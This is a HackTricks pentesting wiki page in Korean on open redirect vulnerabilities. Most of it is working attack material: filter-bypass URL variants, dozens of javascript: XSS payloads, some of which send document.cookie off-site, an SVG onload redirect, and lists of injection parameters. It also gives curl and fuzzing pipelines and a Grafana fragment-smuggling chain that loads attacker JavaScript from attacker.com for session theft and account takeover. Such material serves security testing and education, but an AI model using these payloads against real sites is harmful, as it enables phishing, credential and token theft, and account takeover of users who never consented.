์˜คํ”ˆ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์˜คํ”ˆ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ

localhost ๋˜๋Š” ์ž„์˜ ๋„๋ฉ”์ธ์œผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ

  • ์•ฑ์ด โ€œinternal/whitelisted hostsโ€๋งŒ ํ—ˆ์šฉํ•œ๋‹ค๋ฉด, ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ๋Œ€์ƒ์— ๋Œ€ํ•ด ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ ํ‘œ๊ธฐ๋ฒ•์„ ์‹œ๋„ํ•ด loopback์ด๋‚˜ ๋‚ด๋ถ€ ๋ฒ”์œ„๋ฅผ ์ง€์ •ํ•ด ๋ณด์„ธ์š”:
  • IPv4 loopback ๋ณ€ํ˜•: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback ๋ณ€ํ˜•: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • ํ›„ํ–‰ ์  ๋ฐ ๋Œ€์†Œ๋ฌธ์ž: localhost., LOCALHOST, 127.0.0.1.
  • loopback์œผ๋กœ ํ•ด์„๋˜๋Š” ์™€์ผ๋“œ์นด๋“œ DNS: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. ํ˜ธ์ŠคํŠธ๊ฐ€ โ€œsubdomains of Xโ€๋งŒ ํ—ˆ์šฉํ•˜์ง€๋งŒ ํ˜ธ์ŠคํŠธ ํ•ด์„์ด ์—ฌ์ „ํžˆ 127.0.0.1์„ ๊ฐ€๋ฆฌํ‚ฌ ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ๋„คํŠธ์›Œํฌ-๊ฒฝ๋กœ ์ฐธ์กฐ๋Š” ์ข…์ข… ์Šคํ‚ด์„ ์•ž์— ๋ถ™์ด๊ฑฐ๋‚˜ ์ ‘๋‘์‚ฌ๋งŒ ๊ฒ€์‚ฌํ•˜๋Š” ๋‹จ์ˆœํ•œ ๊ฒ€์ฆ๊ธฐ๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค:
  • //attacker.tld โ†’ scheme-relative๋กœ ํ•ด์„๋˜์–ด ํ˜„์žฌ ์Šคํ‚ด์œผ๋กœ ์˜คํ”„์‚ฌ์ดํŠธ๋กœ ์ด๋™ํ•ฉ๋‹ˆ๋‹ค.
  • Userinfo ํŠธ๋ฆญ์€ trusted hosts์— ๋Œ€ํ•œ contains/startswith ๊ฒ€์‚ฌ๋“ค์„ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค:
  • https://trusted.tld@attacker.tld/ โ†’ ๋ธŒ๋ผ์šฐ์ €๋Š” attacker.tld๋กœ ์ด๋™ํ•˜์ง€๋งŒ ๋‹จ์ˆœ ๋ฌธ์ž์—ด ๊ฒ€์‚ฌ๋Š” โ€œtrusted.tldโ€๋ฅผ โ€™๋ณธ๋‹คโ€™๊ณ  ์ธ์‹ํ•ฉ๋‹ˆ๋‹ค.
  • ํ”„๋ ˆ์ž„์›Œํฌ/๋ธŒ๋ผ์šฐ์ € ๊ฐ„ ๋ฐฑ์Šฌ๋ž˜์‹œ ํŒŒ์‹ฑ ํ˜ผ๋™:
  • https://trusted.tld@attacker.tld โ†’ ์ผ๋ถ€ ๋ฐฑ์—”๋“œ๋Š” โ€œ\โ€๋ฅผ ๊ฒฝ๋กœ ๋ฌธ์ž๋กœ ์ฒ˜๋ฆฌํ•˜์—ฌ ๊ฒ€์ฆ์„ ํ†ต๊ณผ์‹œํ‚ค์ง€๋งŒ, ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด๋ฅผ โ€œ/โ€๋กœ ์ •๊ทœํ™”ํ•˜๊ณ  trusted.tld๋ฅผ userinfo๋กœ ํ•ด์„ํ•˜์—ฌ ์‚ฌ์šฉ์ž๋ฅผ attacker.tld๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์ด๋Š” Node/PHP URL-parser ๋ถˆ์ผ์น˜์—์„œ๋„ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.

URL Format Bypass

์ตœ์‹  open-redirect์—์„œ XSS๋กœ์˜ ํ”ผ๋ฒ—

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
๋” ํ˜„๋Œ€์ ์ธ URL-based bypass payloads ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect svg ํŒŒ์ผ ์—…๋กœ๋“œ
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

์ผ๋ฐ˜์ ์ธ ์ธ์ ์…˜ ํŒŒ๋ผ๋ฏธํ„ฐ

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

์ฝ”๋“œ ์˜ˆ์ œ

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (์‹ค์Šต)

  • curl๋กœ ๋‹จ์ผ URL ํ™•์ธ:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • ๋Œ€๊ทœ๋ชจ๋กœ ๊ฐ€๋Šฅํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  fuzz:
ํ™•์žฅํ•˜๋ ค๋ฉด ํด๋ฆญ ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI โ€œ(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)โ€ urls.txt
| sed โ€˜s/\r$//โ€™ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk โ€˜/30[1237]|Location:/Iโ€™ results.txt

</details>

- Donโ€™t forget client-side sinks in SPAs: window.location/assign/replace์™€ query/hash๋ฅผ ์ฝ์–ด ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋Š” ํ”„๋ ˆ์ž„์›Œํฌ ํ—ฌํผ๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”.

- ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ๋ฆฌ๋””๋ ‰์…˜ ๋ชฉ์ ์ง€๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์ž…๋ ฅ(query params, Referer, cookies)์—์„œ ์œ ๋„๋  ๋•Œ ์ข…์ข… ์ทจ์•ฝ์ ์„ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. Next.js์˜ ๋ฆฌ๋””๋ ‰์…˜ ๊ด€๋ จ ์ฃผ์˜์‚ฌํ•ญ์„ ํ™•์ธํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ž…๋ ฅ์—์„œ ์œ ๋„๋œ ๋™์  ๋ชฉ์ ์ง€๋Š” ํ”ผํ•˜์„ธ์š”.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: open redirectors๋ฅผ ์•…์šฉํ•˜๋ฉด authorization codes/tokens๋ฅผ leakingํ•˜์—ฌ account takeover๋กœ ์ž์ฃผ ์ด์–ด์ง‘๋‹ˆ๋‹ค. ์ „์šฉ ๊ฐ€์ด๋“œ๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Location ์—†์ด ๋ฆฌ๋””๋ ‰์…˜์„ ๊ตฌํ˜„ํ•˜๋Š” ์„œ๋ฒ„ ์‘๋‹ต(meta refresh/JavaScript)์€ ์—ฌ์ „ํžˆ phishing์— ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ ๋•Œ๋กœ๋Š” ์—ฐ์‡„์ ์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Server-side gap (Go url.Parse + raw redirect): validators๊ฐ€ URL.Path๋งŒ ๊ฒ€์‚ฌํ•˜๊ณ  URL.Fragment๋ฅผ ๋ฌด์‹œํ•˜๋ฉด ์™ธ๋ถ€ ํ˜ธ์ŠคํŠธ๋ฅผ # ๋’ค์— ๋†“์•„ ์†์ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ๋‚˜์ค‘์— unsanitized ๋ฌธ์ž์—ด๋กœ Location์„ ๋นŒ๋“œํ•˜๋ฉด, fragments๊ฐ€ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ๋Œ€์ƒ์— leak๋ฉ๋‹ˆ๋‹ค. /user/auth-tokens/rotate์— ๋Œ€ํ•œ ์˜ˆ:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Parsing sees Path=/ and Fragment=/..//\//attacker.com, so regex + path.Clean() approve /, but the response emits Location: /\//attacker.com, acting as an open redirect.
  • Client-side gap (validate decoded/cleaned, return original): SPA helpers๊ฐ€ ๊ฒฝ๋กœ๋ฅผ ์™„์ „ํžˆ ๋””์ฝ”๋”ฉ(์ค‘๋ณต ์ธ์ฝ”๋”ฉ๋œ ? ํฌํ•จ)ํ•˜๊ณ  ๊ฒ€์ฆ์„ ์œ„ํ•ด ์ฟผ๋ฆฌ๋ฅผ ์ œ๊ฑฐํ•œ ๋’ค ์›๋ณธ ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด ์ธ์ฝ”๋”ฉ๋œ ../๊ฐ€ ์‚ด์•„๋‚จ์Šต๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋‚˜์ค‘์— ๋””์ฝ”๋”ฉํ•˜๋ฉด ๋™์ผ ์ถœ์ฒ˜์˜ ์•„๋ฌด ์—”๋“œํฌ์ธํŠธ(์˜ˆ: redirect gadget)๋กœ traversal์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์ด๋กœ๋“œ ํŒจํ„ด:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • The validator checks /dashboard/script/ (no ..), returns the encoded string, and the browser walks to /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: traversal์„ fragment-smuggled redirect์™€ ์ฒด์ธ์œผ๋กœ ์—ฐ๊ฒฐํ•ด dashboard script loader๊ฐ€ attacker JS๋ฅผ fetchingํ•˜๋„๋ก ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • path traversal๊ฐ€ rotate endpoint์— ๋„๋‹ฌํ•˜๋ฉด, ํ”„๋ž˜๊ทธ๋จผํŠธ์— ์€๋‹‰๋œ redirectTo๋กœ๋ถ€ํ„ฐ attacker.com/module.js๋กœ 302๋ฅผ ๋ฐœํ–‰ํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž origin์ด ํ—ˆ์šฉ์ ์ธ CORS๋กœ JS๋ฅผ ์ œ๊ณตํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ session theft/account takeover๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

๋„๊ตฌ

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ